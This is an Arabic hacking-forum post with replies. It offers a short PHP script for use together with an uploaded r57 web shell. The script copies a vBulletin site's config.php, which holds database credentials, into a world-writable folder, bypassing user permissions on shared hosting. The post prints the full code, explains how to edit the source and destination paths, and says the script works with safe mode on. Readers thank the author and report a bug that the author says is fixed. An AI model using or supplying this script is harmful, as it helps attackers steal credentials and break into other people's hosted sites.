:: vBspiders Professional Network :: - سكريبت بسيط لتخطي صلاحية اليوزر وقراءة الكونفيق

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)

- قـسـم أدوات واندكـسات الإختراق (http://www.vbspiders.com/vb/f103.html)

سكريبت بسيط لتخطي صلاحية اليوزر وقراءة الكونفيق

بسم الله الرحمن الرحيم كيفكم اخواني انشا الله بخير

اليوم قمت ببرمجة ملف بسيط بالبي اتش بي

يقوم بسحب الكونفيق

نشوف كود السكريبت

http://hackteach.net/uploads/zooz.JPG

خلينا نشرح عمله

طبعاً المسار الاول نعدله لمسار الكونفيق المراد سحبه

مثلاً عندنا كونفيق منتدى v B u l l e t i n

رح يكون مساره في الوضع الطبيعي

كود PHP:

/home/user/public_html/includes/config.php

مع ملاحظة تغير u s e r ليوزر الموقع

والمسار الثاني نعدله للمسار اللي بدنا نسحب الكونفيق عليه يعني مثلا معنا شيل على المسار التالي

كود PHP:

site.com/images/r57.php

طبعاً لازم المجلد يمتلك التصريح 777

طيب رح يكون المسار الثاني بهذا الشكل

كود PHP:

/home/user/public_html/images/zooz.txt

بحيث تغير كلمة u s e r ليوزر الموقع

واسم zooz.txt لاي اسم تريده

ونرفع السكريبت ونستعرضه

اذا كتب Done

يعني تمام سحب الملف , تروح تلاقيه بنفس المجلد اللي فيه الشيل وهو مجلد images

وازا كتب Not Done

يعني لم يتم سحب الملف , او المسار خاطئ

طبعاً تم تجربة السكريبت على جميع اصدارات p h p

وبالاحرى الاصدارين 5.2.9 + 5.2.10

والسيف مود اون , وتم قراءة الكونفيق

انشا الله يكون السكريبت عجبكم ونال رضاكم ,

وبالاخير اشكر اخوي محمد Hacker Attack صاحب الفكرة

في امان الله

بالمرفقات

كود PHP:

   
<body><title> Wget config t00l C0d3d by Red-D3v1l </title></body>

<?php

$Red = "/home/user/public_html/includes/config.php";

$zoz = "/home/user/public_html/images/config.txt";

$hack = copy($Red,$zoz);

if ($hack) {

echo " [~] Done";

}

else {

echo "not Done";

}

?>

مشكوووووووووور اخي

شكرااا اخي

من فضلك .. اعطينـا رابــط التحميل

انا بإنتظارك

انا اعدت كتابه السكربت بالرد الثاني

انسخه وضعه بمفكره واحفظه بامتداد
PHP
:)

شكراااا لك اخي

لقد نسخـت الكتابة لكنها تحوي خطأ في السطر 5
يرجـى الاصلاح

شكرااااااا

شكرا على التنبيه
تم اصلاح الخطأ اتمنا انه يعمل
:)